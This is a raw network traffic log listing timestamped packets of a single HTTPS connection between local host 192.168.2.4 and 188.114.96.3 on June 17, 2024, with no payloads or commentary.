Jun 17, 2024 16:18:55.311870098 CEST	49733	443	192.168.2.4	188.114.96.3
Jun 17, 2024 16:18:55.311875105 CEST	443	49733	188.114.96.3	192.168.2.4
Jun 17, 2024 16:18:55.311891079 CEST	443	49733	188.114.96.3	192.168.2.4
Jun 17, 2024 16:18:55.311903000 CEST	49733	443	192.168.2.4	188.114.96.3
Jun 17, 2024 16:18:55.311933041 CEST	49733	443	192.168.2.4	188.114.96.3
Jun 17, 2024 16:18:55.311939001 CEST	443	49733	188.114.96.3	192.168.2.4
Jun 17, 2024 16:18:55.311975956 CEST	49733	443	192.168.2.4	188.114.96.3
Jun 17, 2024 16:18:55.312071085 CEST	443	49733	188.114.96.3	192.168.2.4
Jun 17, 2024 16:18:55.312091112 CEST	443	49733	188.114.96.3	192.168.2.4
Jun 17, 2024 16:18:55.312119961 CEST	49733	443	192.168.2.4	188.114.96.3
Jun 17, 2024 16:18:55.312128067 CEST	443	49733	188.114.96.3	192.168.2.4
Jun 17, 2024 16:18:55.312149048 CEST	49733	443	192.168.2.4	188.114.96.3
Jun 17, 2024 16:18:55.312159061 CEST	49733	443	192.168.2.4	188.114.96.3
Jun 17, 2024 16:18:55.312314034 CEST	443	49733	188.114.96.3	192.168.2.4
Jun 17, 2024 16:18:55.312340021 CEST	443	49733	188.114.96.3	192.168.2.4
Jun 17, 2024 16:18:55.312369108 CEST	49733	443	192.168.2.4	188.114.96.3
Jun 17, 2024 16:18:55.312375069 CEST	443	49733	188.114.96.3	192.168.2.4
Jun 17, 2024 16:18:55.312405109 CEST	443	49733	188.114.96.3	192.168.2.4
Jun 17, 2024 16:18:55.312407017 CEST	49733	443	192.168.2.4	188.114.96.3
Jun 17, 2024 16:18:55.312417984 CEST	49733	443	192.168.2.4	188.114.96.3
Jun 17, 2024 16:18:55.312422991 CEST	443	49733	188.114.96.3	192.168.2.4
Jun 17, 2024 16:18:55.312438011 CEST	443	49733	188.114.96.3	192.168.2.4
Jun 17, 2024 16:18:55.312452078 CEST	49733	443	192.168.2.4	188.114.96.3
Jun 17, 2024 16:18:55.312489986 CEST	49733	443	192.168.2.4	188.114.96.3
Jun 17, 2024 16:18:55.312495947 CEST	443	49733	188.114.96.3	192.168.2.4
Jun 17, 2024 16:18:55.312531948 CEST	49733	443	192.168.2.4	188.114.96.3
Jun 17, 2024 16:18:55.312592983 CEST	443	49733	188.114.96.3	192.168.2.4
Jun 17, 2024 16:18:55.312613010 CEST	443	49733	188.114.96.3	192.168.2.4
Jun 17, 2024 16:18:55.312643051 CEST	49733	443	192.168.2.4	188.114.96.3
Jun 17, 2024 16:18:55.312649965 CEST	443	49733	188.114.96.3	192.168.2.4
Jun 17, 2024 16:18:55.312669992 CEST	49733	443	192.168.2.4	188.114.96.3
Jun 17, 2024 16:18:55.312691927 CEST	49733	443	192.168.2.4	188.114.96.3
Jun 17, 2024 16:18:55.312752962 CEST	443	49733	188.114.96.3	192.168.2.4
Jun 17, 2024 16:18:55.312777996 CEST	443	49733	188.114.96.3	192.168.2.4
Jun 17, 2024 16:18:55.312809944 CEST	49733	443	192.168.2.4	188.114.96.3
Jun 17, 2024 16:18:55.312818050 CEST	443	49733	188.114.96.3	192.168.2.4
Jun 17, 2024 16:18:55.312839985 CEST	49733	443	192.168.2.4	188.114.96.3
Jun 17, 2024 16:18:55.312861919 CEST	49733	443	192.168.2.4	188.114.96.3
Jun 17, 2024 16:18:55.312905073 CEST	443	49733	188.114.96.3	192.168.2.4
Jun 17, 2024 16:18:55.312928915 CEST	443	49733	188.114.96.3	192.168.2.4
Jun 17, 2024 16:18:55.312958956 CEST	49733	443	192.168.2.4	188.114.96.3
Jun 17, 2024 16:18:55.312966108 CEST	443	49733	188.114.96.3	192.168.2.4
Jun 17, 2024 16:18:55.312988043 CEST	49733	443	192.168.2.4	188.114.96.3
Jun 17, 2024 16:18:55.313002110 CEST	49733	443	192.168.2.4	188.114.96.3
Jun 17, 2024 16:18:55.313087940 CEST	443	49733	188.114.96.3	192.168.2.4
Jun 17, 2024 16:18:55.313107967 CEST	443	49733	188.114.96.3	192.168.2.4
Jun 17, 2024 16:18:55.313146114 CEST	49733	443	192.168.2.4	188.114.96.3
Jun 17, 2024 16:18:55.313153028 CEST	443	49733	188.114.96.3	192.168.2.4
Jun 17, 2024 16:18:55.313178062 CEST	49733	443	192.168.2.4	188.114.96.3
Jun 17, 2024 16:18:55.313193083 CEST	49733	443	192.168.2.4	188.114.96.3
Jun 17, 2024 16:18:55.313241005 CEST	443	49733	188.114.96.3	192.168.2.4
Jun 17, 2024 16:18:55.313261032 CEST	443	49733	188.114.96.3	192.168.2.4
Jun 17, 2024 16:18:55.313292980 CEST	49733	443	192.168.2.4	188.114.96.3
Jun 17, 2024 16:18:55.313299894 CEST	443	49733	188.114.96.3	192.168.2.4
Jun 17, 2024 16:18:55.313321114 CEST	49733	443	192.168.2.4	188.114.96.3
Jun 17, 2024 16:18:55.313340902 CEST	49733	443	192.168.2.4	188.114.96.3
Jun 17, 2024 16:18:55.313503027 CEST	443	49733	188.114.96.3	192.168.2.4
Jun 17, 2024 16:18:55.313532114 CEST	443	49733	188.114.96.3	192.168.2.4
Jun 17, 2024 16:18:55.313560963 CEST	49733	443	192.168.2.4	188.114.96.3
Jun 17, 2024 16:18:55.313566923 CEST	443	49733	188.114.96.3	192.168.2.4
Jun 17, 2024 16:18:55.313591003 CEST	49733	443	192.168.2.4	188.114.96.3
Jun 17, 2024 16:18:55.313596010 CEST	443	49733	188.114.96.3	192.168.2.4
Jun 17, 2024 16:18:55.313611031 CEST	49733	443	192.168.2.4	188.114.96.3
Jun 17, 2024 16:18:55.313616991 CEST	443	49733	188.114.96.3	192.168.2.4
Jun 17, 2024 16:18:55.313632011 CEST	443	49733	188.114.96.3	192.168.2.4
Jun 17, 2024 16:18:55.313647032 CEST	49733	443	192.168.2.4	188.114.96.3
Jun 17, 2024 16:18:55.313680887 CEST	49733	443	192.168.2.4	188.114.96.3
Jun 17, 2024 16:18:55.313688993 CEST	443	49733	188.114.96.3	192.168.2.4
Jun 17, 2024 16:18:55.313725948 CEST	49733	443	192.168.2.4	188.114.96.3
Jun 17, 2024 16:18:55.313906908 CEST	443	49733	188.114.96.3	192.168.2.4
Jun 17, 2024 16:18:55.313925982 CEST	443	49733	188.114.96.3	192.168.2.4
Jun 17, 2024 16:18:55.313961029 CEST	49733	443	192.168.2.4	188.114.96.3
Jun 17, 2024 16:18:55.313971043 CEST	443	49733	188.114.96.3	192.168.2.4
Jun 17, 2024 16:18:55.313993931 CEST	49733	443	192.168.2.4	188.114.96.3
Jun 17, 2024 16:18:55.314018965 CEST	49733	443	192.168.2.4	188.114.96.3
Jun 17, 2024 16:18:55.314029932 CEST	443	49733	188.114.96.3	192.168.2.4
Jun 17, 2024 16:18:55.314053059 CEST	443	49733	188.114.96.3	192.168.2.4
Jun 17, 2024 16:18:55.314084053 CEST	49733	443	192.168.2.4	188.114.96.3
Jun 17, 2024 16:18:55.314090014 CEST	443	49733	188.114.96.3	192.168.2.4
Jun 17, 2024 16:18:55.314115047 CEST	49733	443	192.168.2.4	188.114.96.3
Jun 17, 2024 16:18:55.314127922 CEST	49733	443	192.168.2.4	188.114.96.3
Jun 17, 2024 16:18:55.314199924 CEST	443	49733	188.114.96.3	192.168.2.4
Jun 17, 2024 16:18:55.314222097 CEST	443	49733	188.114.96.3	192.168.2.4
Jun 17, 2024 16:18:55.314249039 CEST	49733	443	192.168.2.4	188.114.96.3
Jun 17, 2024 16:18:55.314255953 CEST	443	49733	188.114.96.3	192.168.2.4
Jun 17, 2024 16:18:55.314271927 CEST	49733	443	192.168.2.4	188.114.96.3
Jun 17, 2024 16:18:55.314301968 CEST	49733	443	192.168.2.4	188.114.96.3
Jun 17, 2024 16:18:55.314358950 CEST	443	49733	188.114.96.3	192.168.2.4
Jun 17, 2024 16:18:55.314379930 CEST	443	49733	188.114.96.3	192.168.2.4
Jun 17, 2024 16:18:55.314408064 CEST	49733	443	192.168.2.4	188.114.96.3
Jun 17, 2024 16:18:55.314414978 CEST	443	49733	188.114.96.3	192.168.2.4
Jun 17, 2024 16:18:55.314440012 CEST	443	49733	188.114.96.3	192.168.2.4
Jun 17, 2024 16:18:55.314440966 CEST	49733	443	192.168.2.4	188.114.96.3
Jun 17, 2024 16:18:55.314469099 CEST	443	49733	188.114.96.3	192.168.2.4
Jun 17, 2024 16:18:55.314476967 CEST	49733	443	192.168.2.4	188.114.96.3
Jun 17, 2024 16:18:55.314486980 CEST	443	49733	188.114.96.3	192.168.2.4
Jun 17, 2024 16:18:55.314495087 CEST	49733	443	192.168.2.4	188.114.96.3
Jun 17, 2024 16:18:55.314522028 CEST	49733	443	192.168.2.4	188.114.96.3
Jun 17, 2024 16:18:55.314552069 CEST	49733	443	192.168.2.4	188.114.96.3
Jun 17, 2024 16:18:55.314718962 CEST	443	49733	188.114.96.3	192.168.2.4
Jun 17, 2024 16:18:55.314739943 CEST	443	49733	188.114.96.3	192.168.2.4
Jun 17, 2024 16:18:55.314768076 CEST	49733	443	192.168.2.4	188.114.96.3
Jun 17, 2024 16:18:55.314774990 CEST	443	49733	188.114.96.3	192.168.2.4
Jun 17, 2024 16:18:55.314798117 CEST	49733	443	192.168.2.4	188.114.96.3
Jun 17, 2024 16:18:55.314815998 CEST	49733	443	192.168.2.4	188.114.96.3
Jun 17, 2024 16:18:55.314872980 CEST	443	49733	188.114.96.3	192.168.2.4
Jun 17, 2024 16:18:55.314896107 CEST	443	49733	188.114.96.3	192.168.2.4
Jun 17, 2024 16:18:55.314933062 CEST	49733	443	192.168.2.4	188.114.96.3
Jun 17, 2024 16:18:55.314939022 CEST	443	49733	188.114.96.3	192.168.2.4
Jun 17, 2024 16:18:55.314955950 CEST	49733	443	192.168.2.4	188.114.96.3
Jun 17, 2024 16:18:55.314975977 CEST	49733	443	192.168.2.4	188.114.96.3
Jun 17, 2024 16:18:55.315037966 CEST	443	49733	188.114.96.3	192.168.2.4
Jun 17, 2024 16:18:55.315057993 CEST	443	49733	188.114.96.3	192.168.2.4
Jun 17, 2024 16:18:55.315093994 CEST	49733	443	192.168.2.4	188.114.96.3
Jun 17, 2024 16:18:55.315100908 CEST	443	49733	188.114.96.3	192.168.2.4
Jun 17, 2024 16:18:55.315124035 CEST	49733	443	192.168.2.4	188.114.96.3
Jun 17, 2024 16:18:55.315136909 CEST	49733	443	192.168.2.4	188.114.96.3
Jun 17, 2024 16:18:55.315248013 CEST	443	49733	188.114.96.3	192.168.2.4
Jun 17, 2024 16:18:55.315272093 CEST	443	49733	188.114.96.3	192.168.2.4
Jun 17, 2024 16:18:55.315305948 CEST	49733	443	192.168.2.4	188.114.96.3
Jun 17, 2024 16:18:55.315311909 CEST	443	49733	188.114.96.3	192.168.2.4
Jun 17, 2024 16:18:55.315342903 CEST	49733	443	192.168.2.4	188.114.96.3
Jun 17, 2024 16:18:55.315356970 CEST	49733	443	192.168.2.4	188.114.96.3
Jun 17, 2024 16:18:55.315366030 CEST	443	49733	188.114.96.3	192.168.2.4
Jun 17, 2024 16:18:55.315387011 CEST	443	49733	188.114.96.3	192.168.2.4
Jun 17, 2024 16:18:55.315418005 CEST	49733	443	192.168.2.4	188.114.96.3
Jun 17, 2024 16:18:55.315424919 CEST	443	49733	188.114.96.3	192.168.2.4
Jun 17, 2024 16:18:55.315452099 CEST	49733	443	192.168.2.4	188.114.96.3
Jun 17, 2024 16:18:55.315470934 CEST	49733	443	192.168.2.4	188.114.96.3
Jun 17, 2024 16:18:55.315556049 CEST	443	49733	188.114.96.3	192.168.2.4
Jun 17, 2024 16:18:55.315582037 CEST	443	49733	188.114.96.3	192.168.2.4
Jun 17, 2024 16:18:55.315606117 CEST	49733	443	192.168.2.4	188.114.96.3
Jun 17, 2024 16:18:55.315612078 CEST	443	49733	188.114.96.3	192.168.2.4
Jun 17, 2024 16:18:55.315637112 CEST	49733	443	192.168.2.4	188.114.96.3
Jun 17, 2024 16:18:55.315654993 CEST	49733	443	192.168.2.4	188.114.96.3
Jun 17, 2024 16:18:55.315718889 CEST	443	49733	188.114.96.3	192.168.2.4
Jun 17, 2024 16:18:55.315741062 CEST	443	49733	188.114.96.3	192.168.2.4
Jun 17, 2024 16:18:55.315774918 CEST	49733	443	192.168.2.4	188.114.96.3
Jun 17, 2024 16:18:55.315781116 CEST	443	49733	188.114.96.3	192.168.2.4
Jun 17, 2024 16:18:55.315803051 CEST	49733	443	192.168.2.4	188.114.96.3
Jun 17, 2024 16:18:55.315817118 CEST	49733	443	192.168.2.4	188.114.96.3
Jun 17, 2024 16:18:55.315886974 CEST	443	49733	188.114.96.3	192.168.2.4
Jun 17, 2024 16:18:55.315907001 CEST	443	49733	188.114.96.3	192.168.2.4
Jun 17, 2024 16:18:55.315933943 CEST	49733	443	192.168.2.4	188.114.96.3
Jun 17, 2024 16:18:55.315941095 CEST	443	49733	188.114.96.3	192.168.2.4
Jun 17, 2024 16:18:55.315964937 CEST	49733	443	192.168.2.4	188.114.96.3
Jun 17, 2024 16:18:55.315984011 CEST	49733	443	192.168.2.4	188.114.96.3
Jun 17, 2024 16:18:55.316098928 CEST	443	49733	188.114.96.3	192.168.2.4
Jun 17, 2024 16:18:55.316119909 CEST	443	49733	188.114.96.3	192.168.2.4
Jun 17, 2024 16:18:55.316155910 CEST	49733	443	192.168.2.4	188.114.96.3
Jun 17, 2024 16:18:55.316164017 CEST	443	49733	188.114.96.3	192.168.2.4
Jun 17, 2024 16:18:55.316184998 CEST	49733	443	192.168.2.4	188.114.96.3
Jun 17, 2024 16:18:55.316199064 CEST	49733	443	192.168.2.4	188.114.96.3
Jun 17, 2024 16:18:55.316333055 CEST	443	49733	188.114.96.3	192.168.2.4
Jun 17, 2024 16:18:55.316354990 CEST	443	49733	188.114.96.3	192.168.2.4
Jun 17, 2024 16:18:55.316385031 CEST	49733	443	192.168.2.4	188.114.96.3
Jun 17, 2024 16:18:55.316390991 CEST	443	49733	188.114.96.3	192.168.2.4
Jun 17, 2024 16:18:55.316417933 CEST	49733	443	192.168.2.4	188.114.96.3
Jun 17, 2024 16:18:55.316436052 CEST	49733	443	192.168.2.4	188.114.96.3
Jun 17, 2024 16:18:55.316524029 CEST	443	49733	188.114.96.3	192.168.2.4
Jun 17, 2024 16:18:55.316546917 CEST	443	49733	188.114.96.3	192.168.2.4
Jun 17, 2024 16:18:55.316584110 CEST	49733	443	192.168.2.4	188.114.96.3
Jun 17, 2024 16:18:55.316592932 CEST	443	49733	188.114.96.3	192.168.2.4
Jun 17, 2024 16:18:55.316621065 CEST	49733	443	192.168.2.4	188.114.96.3
Jun 17, 2024 16:18:55.316644907 CEST	443	49733	188.114.96.3	192.168.2.4
Jun 17, 2024 16:18:55.316659927 CEST	49733	443	192.168.2.4	188.114.96.3
Jun 17, 2024 16:18:55.316668987 CEST	443	49733	188.114.96.3	192.168.2.4
Jun 17, 2024 16:18:55.316682100 CEST	443	49733	188.114.96.3	192.168.2.4
Jun 17, 2024 16:18:55.316696882 CEST	49733	443	192.168.2.4	188.114.96.3
Jun 17, 2024 16:18:55.316726923 CEST	49733	443	192.168.2.4	188.114.96.3
Jun 17, 2024 16:18:55.316850901 CEST	443	49733	188.114.96.3	192.168.2.4
Jun 17, 2024 16:18:55.316885948 CEST	443	49733	188.114.96.3	192.168.2.4
Jun 17, 2024 16:18:55.316955090 CEST	443	49733	188.114.96.3	192.168.2.4
Jun 17, 2024 16:18:55.316966057 CEST	49733	443	192.168.2.4	188.114.96.3
Jun 17, 2024 16:18:55.316973925 CEST	443	49733	188.114.96.3	192.168.2.4
Jun 17, 2024 16:18:55.316989899 CEST	443	49733	188.114.96.3	192.168.2.4
Jun 17, 2024 16:18:55.316999912 CEST	49733	443	192.168.2.4	188.114.96.3
Jun 17, 2024 16:18:55.317033052 CEST	49733	443	192.168.2.4	188.114.96.3
Jun 17, 2024 16:18:55.317039013 CEST	443	49733	188.114.96.3	192.168.2.4
Jun 17, 2024 16:18:55.317089081 CEST	49733	443	192.168.2.4	188.114.96.3
Jun 17, 2024 16:18:55.317243099 CEST	443	49733	188.114.96.3	192.168.2.4
Jun 17, 2024 16:18:55.317266941 CEST	443	49733	188.114.96.3	192.168.2.4
Jun 17, 2024 16:18:55.317293882 CEST	49733	443	192.168.2.4	188.114.96.3
Jun 17, 2024 16:18:55.317301035 CEST	443	49733	188.114.96.3	192.168.2.4
Jun 17, 2024 16:18:55.317327023 CEST	49733	443	192.168.2.4	188.114.96.3
Jun 17, 2024 16:18:55.317339897 CEST	49733	443	192.168.2.4	188.114.96.3
Jun 17, 2024 16:18:55.317388058 CEST	443	49733	188.114.96.3	192.168.2.4
Jun 17, 2024 16:18:55.317406893 CEST	443	49733	188.114.96.3	192.168.2.4
Jun 17, 2024 16:18:55.317433119 CEST	49733	443	192.168.2.4	188.114.96.3
Jun 17, 2024 16:18:55.317440033 CEST	443	49733	188.114.96.3	192.168.2.4
Jun 17, 2024 16:18:55.317464113 CEST	49733	443	192.168.2.4	188.114.96.3
Jun 17, 2024 16:18:55.317468882 CEST	443	49733	188.114.96.3	192.168.2.4
Jun 17, 2024 16:18:55.317477942 CEST	49733	443	192.168.2.4	188.114.96.3
Jun 17, 2024 16:18:55.317483902 CEST	443	49733	188.114.96.3	192.168.2.4
Jun 17, 2024 16:18:55.317501068 CEST	443	49733	188.114.96.3	192.168.2.4
Jun 17, 2024 16:18:55.317516088 CEST	49733	443	192.168.2.4	188.114.96.3
Jun 17, 2024 16:18:55.317554951 CEST	49733	443	192.168.2.4	188.114.96.3
Jun 17, 2024 16:18:55.317560911 CEST	443	49733	188.114.96.3	192.168.2.4
Jun 17, 2024 16:18:55.317593098 CEST	49733	443	192.168.2.4	188.114.96.3
Jun 17, 2024 16:18:55.317837954 CEST	443	49733	188.114.96.3	192.168.2.4
Jun 17, 2024 16:18:55.317856073 CEST	443	49733	188.114.96.3	192.168.2.4
Jun 17, 2024 16:18:55.317893028 CEST	49733	443	192.168.2.4	188.114.96.3
Jun 17, 2024 16:18:55.317899942 CEST	443	49733	188.114.96.3	192.168.2.4
Jun 17, 2024 16:18:55.317924976 CEST	49733	443	192.168.2.4	188.114.96.3
Jun 17, 2024 16:18:55.317938089 CEST	49733	443	192.168.2.4	188.114.96.3
Jun 17, 2024 16:18:55.317950964 CEST	443	49733	188.114.96.3	192.168.2.4
Jun 17, 2024 16:18:55.317970037 CEST	443	49733	188.114.96.3	192.168.2.4
Jun 17, 2024 16:18:55.317998886 CEST	49733	443	192.168.2.4	188.114.96.3
Jun 17, 2024 16:18:55.318006039 CEST	443	49733	188.114.96.3	192.168.2.4
Jun 17, 2024 16:18:55.318028927 CEST	49733	443	192.168.2.4	188.114.96.3
Jun 17, 2024 16:18:55.318042994 CEST	49733	443	192.168.2.4	188.114.96.3
Jun 17, 2024 16:18:55.318084002 CEST	443	49733	188.114.96.3	192.168.2.4
Jun 17, 2024 16:18:55.318106890 CEST	443	49733	188.114.96.3	192.168.2.4
Jun 17, 2024 16:18:55.318135977 CEST	49733	443	192.168.2.4	188.114.96.3
Jun 17, 2024 16:18:55.318142891 CEST	443	49733	188.114.96.3	192.168.2.4
Jun 17, 2024 16:18:55.318166971 CEST	49733	443	192.168.2.4	188.114.96.3
Jun 17, 2024 16:18:55.318181992 CEST	49733	443	192.168.2.4	188.114.96.3
Jun 17, 2024 16:18:55.318186045 CEST	443	49733	188.114.96.3	192.168.2.4
Jun 17, 2024 16:18:55.318197012 CEST	443	49733	188.114.96.3	192.168.2.4
Jun 17, 2024 16:18:55.318219900 CEST	443	49733	188.114.96.3	192.168.2.4
Jun 17, 2024 16:18:55.318226099 CEST	49733	443	192.168.2.4	188.114.96.3
Jun 17, 2024 16:18:55.318248034 CEST	49733	443	192.168.2.4	188.114.96.3
Jun 17, 2024 16:18:55.318253994 CEST	443	49733	188.114.96.3	192.168.2.4
Jun 17, 2024 16:18:55.318276882 CEST	49733	443	192.168.2.4	188.114.96.3
Jun 17, 2024 16:18:55.318300962 CEST	49733	443	192.168.2.4	188.114.96.3
Jun 17, 2024 16:18:55.318423986 CEST	443	49733	188.114.96.3	192.168.2.4
Jun 17, 2024 16:18:55.318444967 CEST	443	49733	188.114.96.3	192.168.2.4
Jun 17, 2024 16:18:55.318474054 CEST	49733	443	192.168.2.4	188.114.96.3
Jun 17, 2024 16:18:55.318483114 CEST	443	49733	188.114.96.3	192.168.2.4
Jun 17, 2024 16:18:55.318506956 CEST	49733	443	192.168.2.4	188.114.96.3
Jun 17, 2024 16:18:55.318521023 CEST	49733	443	192.168.2.4	188.114.96.3
Jun 17, 2024 16:18:55.318620920 CEST	443	49733	188.114.96.3	192.168.2.4
Jun 17, 2024 16:18:55.318643093 CEST	443	49733	188.114.96.3	192.168.2.4
Jun 17, 2024 16:18:55.318674088 CEST	49733	443	192.168.2.4	188.114.96.3
Jun 17, 2024 16:18:55.318682909 CEST	443	49733	188.114.96.3	192.168.2.4
Jun 17, 2024 16:18:55.318707943 CEST	49733	443	192.168.2.4	188.114.96.3
Jun 17, 2024 16:18:55.318727970 CEST	49733	443	192.168.2.4	188.114.96.3
Jun 17, 2024 16:18:55.318828106 CEST	443	49733	188.114.96.3	192.168.2.4
Jun 17, 2024 16:18:55.318846941 CEST	443	49733	188.114.96.3	192.168.2.4
Jun 17, 2024 16:18:55.318876028 CEST	49733	443	192.168.2.4	188.114.96.3
Jun 17, 2024 16:18:55.318882942 CEST	443	49733	188.114.96.3	192.168.2.4
Jun 17, 2024 16:18:55.318906069 CEST	49733	443	192.168.2.4	188.114.96.3
Jun 17, 2024 16:18:55.318922997 CEST	49733	443	192.168.2.4	188.114.96.3
Jun 17, 2024 16:18:55.319015026 CEST	443	49733	188.114.96.3	192.168.2.4
Jun 17, 2024 16:18:55.319041967 CEST	443	49733	188.114.96.3	192.168.2.4
Jun 17, 2024 16:18:55.319070101 CEST	49733	443	192.168.2.4	188.114.96.3
Jun 17, 2024 16:18:55.319077015 CEST	443	49733	188.114.96.3	192.168.2.4
Jun 17, 2024 16:18:55.319098949 CEST	49733	443	192.168.2.4	188.114.96.3
Jun 17, 2024 16:18:55.319118977 CEST	49733	443	192.168.2.4	188.114.96.3
Jun 17, 2024 16:18:55.320992947 CEST	443	49733	188.114.96.3	192.168.2.4
Jun 17, 2024 16:18:55.321024895 CEST	443	49733	188.114.96.3	192.168.2.4
Jun 17, 2024 16:18:55.321090937 CEST	49733	443	192.168.2.4	188.114.96.3
Jun 17, 2024 16:18:55.321104050 CEST	443	49733	188.114.96.3	192.168.2.4
Jun 17, 2024 16:18:55.321115971 CEST	443	49733	188.114.96.3	192.168.2.4
Jun 17, 2024 16:18:55.321126938 CEST	49733	443	192.168.2.4	188.114.96.3
Jun 17, 2024 16:18:55.321142912 CEST	443	49733	188.114.96.3	192.168.2.4
Jun 17, 2024 16:18:55.321154118 CEST	49733	443	192.168.2.4	188.114.96.3
Jun 17, 2024 16:18:55.321161985 CEST	443	49733	188.114.96.3	192.168.2.4
Jun 17, 2024 16:18:55.321191072 CEST	49733	443	192.168.2.4	188.114.96.3
Jun 17, 2024 16:18:55.321206093 CEST	49733	443	192.168.2.4	188.114.96.3
Jun 17, 2024 16:18:55.321217060 CEST	443	49733	188.114.96.3	192.168.2.4
Jun 17, 2024 16:18:55.321228981 CEST	443	49733	188.114.96.3	192.168.2.4
Jun 17, 2024 16:18:55.321248055 CEST	443	49733	188.114.96.3	192.168.2.4
Jun 17, 2024 16:18:55.321264982 CEST	49733	443	192.168.2.4	188.114.96.3
Jun 17, 2024 16:18:55.321290016 CEST	49733	443	192.168.2.4	188.114.96.3
Jun 17, 2024 16:18:55.321296930 CEST	443	49733	188.114.96.3	192.168.2.4
Jun 17, 2024 16:18:55.321311951 CEST	443	49733	188.114.96.3	192.168.2.4
Jun 17, 2024 16:18:55.321341038 CEST	443	49733	188.114.96.3	192.168.2.4
Jun 17, 2024 16:18:55.321362019 CEST	49733	443	192.168.2.4	188.114.96.3
Jun 17, 2024 16:18:55.321371078 CEST	443	49733	188.114.96.3	192.168.2.4
Jun 17, 2024 16:18:55.321393013 CEST	49733	443	192.168.2.4	188.114.96.3
Jun 17, 2024 16:18:55.321412086 CEST	443	49733	188.114.96.3	192.168.2.4
Jun 17, 2024 16:18:55.321422100 CEST	49733	443	192.168.2.4	188.114.96.3
Jun 17, 2024 16:18:55.321429968 CEST	443	49733	188.114.96.3	192.168.2.4
Jun 17, 2024 16:18:55.321439981 CEST	443	49733	188.114.96.3	192.168.2.4
Jun 17, 2024 16:18:55.321451902 CEST	49733	443	192.168.2.4	188.114.96.3
Jun 17, 2024 16:18:55.321466923 CEST	49733	443	192.168.2.4	188.114.96.3
Jun 17, 2024 16:18:55.321475029 CEST	443	49733	188.114.96.3	192.168.2.4
Jun 17, 2024 16:18:55.321495056 CEST	49733	443	192.168.2.4	188.114.96.3
Jun 17, 2024 16:18:55.321511030 CEST	443	49733	188.114.96.3	192.168.2.4
Jun 17, 2024 16:18:55.321535110 CEST	49733	443	192.168.2.4	188.114.96.3
Jun 17, 2024 16:18:55.321536064 CEST	443	49733	188.114.96.3	192.168.2.4
Jun 17, 2024 16:18:55.321552038 CEST	443	49733	188.114.96.3	192.168.2.4
Jun 17, 2024 16:18:55.321567059 CEST	49733	443	192.168.2.4	188.114.96.3
Jun 17, 2024 16:18:55.321609974 CEST	49733	443	192.168.2.4	188.114.96.3
Jun 17, 2024 16:18:55.321620941 CEST	443	49733	188.114.96.3	192.168.2.4
Jun 17, 2024 16:18:55.321640968 CEST	443	49733	188.114.96.3	192.168.2.4
Jun 17, 2024 16:18:55.321667910 CEST	49733	443	192.168.2.4	188.114.96.3
Jun 17, 2024 16:18:55.321676016 CEST	443	49733	188.114.96.3	192.168.2.4
Jun 17, 2024 16:18:55.321688890 CEST	49733	443	192.168.2.4	188.114.96.3
Jun 17, 2024 16:18:55.321711063 CEST	49733	443	192.168.2.4	188.114.96.3
Jun 17, 2024 16:18:55.321712017 CEST	443	49733	188.114.96.3	192.168.2.4
Jun 17, 2024 16:18:55.321724892 CEST	443	49733	188.114.96.3	192.168.2.4
Jun 17, 2024 16:18:55.321746111 CEST	443	49733	188.114.96.3	192.168.2.4
Jun 17, 2024 16:18:55.321755886 CEST	49733	443	192.168.2.4	188.114.96.3
Jun 17, 2024 16:18:55.321763992 CEST	443	49733	188.114.96.3	192.168.2.4
Jun 17, 2024 16:18:55.321787119 CEST	49733	443	192.168.2.4	188.114.96.3
Jun 17, 2024 16:18:55.321811914 CEST	443	49733	188.114.96.3	192.168.2.4
Jun 17, 2024 16:18:55.321813107 CEST	49733	443	192.168.2.4	188.114.96.3
Jun 17, 2024 16:18:55.321827888 CEST	443	49733	188.114.96.3	192.168.2.4
Jun 17, 2024 16:18:55.321846962 CEST	443	49733	188.114.96.3	192.168.2.4
Jun 17, 2024 16:18:55.321872950 CEST	49733	443	192.168.2.4	188.114.96.3
Jun 17, 2024 16:18:55.321881056 CEST	443	49733	188.114.96.3	192.168.2.4
Jun 17, 2024 16:18:55.321904898 CEST	49733	443	192.168.2.4	188.114.96.3
Jun 17, 2024 16:18:55.321913004 CEST	443	49733	188.114.96.3	192.168.2.4
Jun 17, 2024 16:18:55.321923971 CEST	49733	443	192.168.2.4	188.114.96.3
Jun 17, 2024 16:18:55.321930885 CEST	443	49733	188.114.96.3	192.168.2.4
Jun 17, 2024 16:18:55.321945906 CEST	443	49733	188.114.96.3	192.168.2.4
Jun 17, 2024 16:18:55.321955919 CEST	49733	443	192.168.2.4	188.114.96.3
Jun 17, 2024 16:18:55.321980953 CEST	49733	443	192.168.2.4	188.114.96.3
Jun 17, 2024 16:18:55.321986914 CEST	443	49733	188.114.96.3	192.168.2.4
Jun 17, 2024 16:18:55.322011948 CEST	49733	443	192.168.2.4	188.114.96.3
Jun 17, 2024 16:18:55.322017908 CEST	443	49733	188.114.96.3	192.168.2.4
Jun 17, 2024 16:18:55.322038889 CEST	443	49733	188.114.96.3	192.168.2.4
Jun 17, 2024 16:18:55.322040081 CEST	49733	443	192.168.2.4	188.114.96.3
Jun 17, 2024 16:18:55.322051048 CEST	443	49733	188.114.96.3	192.168.2.4
Jun 17, 2024 16:18:55.322077990 CEST	49733	443	192.168.2.4	188.114.96.3
Jun 17, 2024 16:18:55.322118998 CEST	443	49733	188.114.96.3	192.168.2.4
Jun 17, 2024 16:18:55.322119951 CEST	49733	443	192.168.2.4	188.114.96.3
Jun 17, 2024 16:18:55.322133064 CEST	443	49733	188.114.96.3	192.168.2.4
Jun 17, 2024 16:18:55.322160006 CEST	443	49733	188.114.96.3	192.168.2.4
Jun 17, 2024 16:18:55.322170019 CEST	49733	443	192.168.2.4	188.114.96.3
Jun 17, 2024 16:18:55.322196007 CEST	49733	443	192.168.2.4	188.114.96.3
Jun 17, 2024 16:18:55.322202921 CEST	443	49733	188.114.96.3	192.168.2.4
Jun 17, 2024 16:18:55.322220087 CEST	443	49733	188.114.96.3	192.168.2.4
Jun 17, 2024 16:18:55.322227001 CEST	49733	443	192.168.2.4	188.114.96.3
Jun 17, 2024 16:18:55.322240114 CEST	443	49733	188.114.96.3	192.168.2.4
Jun 17, 2024 16:18:55.322257042 CEST	49733	443	192.168.2.4	188.114.96.3
Jun 17, 2024 16:18:55.322264910 CEST	443	49733	188.114.96.3	192.168.2.4
Jun 17, 2024 16:18:55.322278976 CEST	49733	443	192.168.2.4	188.114.96.3
Jun 17, 2024 16:18:55.322312117 CEST	443	49733	188.114.96.3	192.168.2.4
Jun 17, 2024 16:18:55.322315931 CEST	49733	443	192.168.2.4	188.114.96.3
Jun 17, 2024 16:18:55.322325945 CEST	443	49733	188.114.96.3	192.168.2.4
